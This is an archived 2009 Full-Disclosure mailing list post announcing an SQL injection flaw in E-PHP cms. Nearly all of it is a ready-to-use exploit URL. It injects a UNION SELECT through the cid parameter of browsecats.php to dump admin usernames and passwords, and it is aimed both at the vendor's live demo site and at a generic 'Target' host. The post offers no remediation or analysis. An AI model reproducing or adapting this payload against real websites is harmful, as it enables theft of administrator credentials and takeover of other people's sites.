full-disclosure-uk January 2009 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: [Full-disclosure] E-PHP cms SQL Injection Vu

[Full-disclosure] E-PHP cms SQL Injection Vulnerability

From: saied hackeriran <saiedhackeriran_at_nospam>
Date: Tue Jan 27 2009 - 11:46:13 GMT
To: support@evuln.com


E-PHP cms SQL Injection Vulnerability

#############################################
Dicovered By: SaiedHacker Group: HackeranShiraz Security Team Web Address: www.HackeranShiraz.Com E-mail: SaiedHackerIran@Yahoo.com Creator: http://ephpscripts.com
#############################################
Demo Exploit:
http://ephpscripts.com/demo/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
#############################################
Exploit:
http://Target/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin       



Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/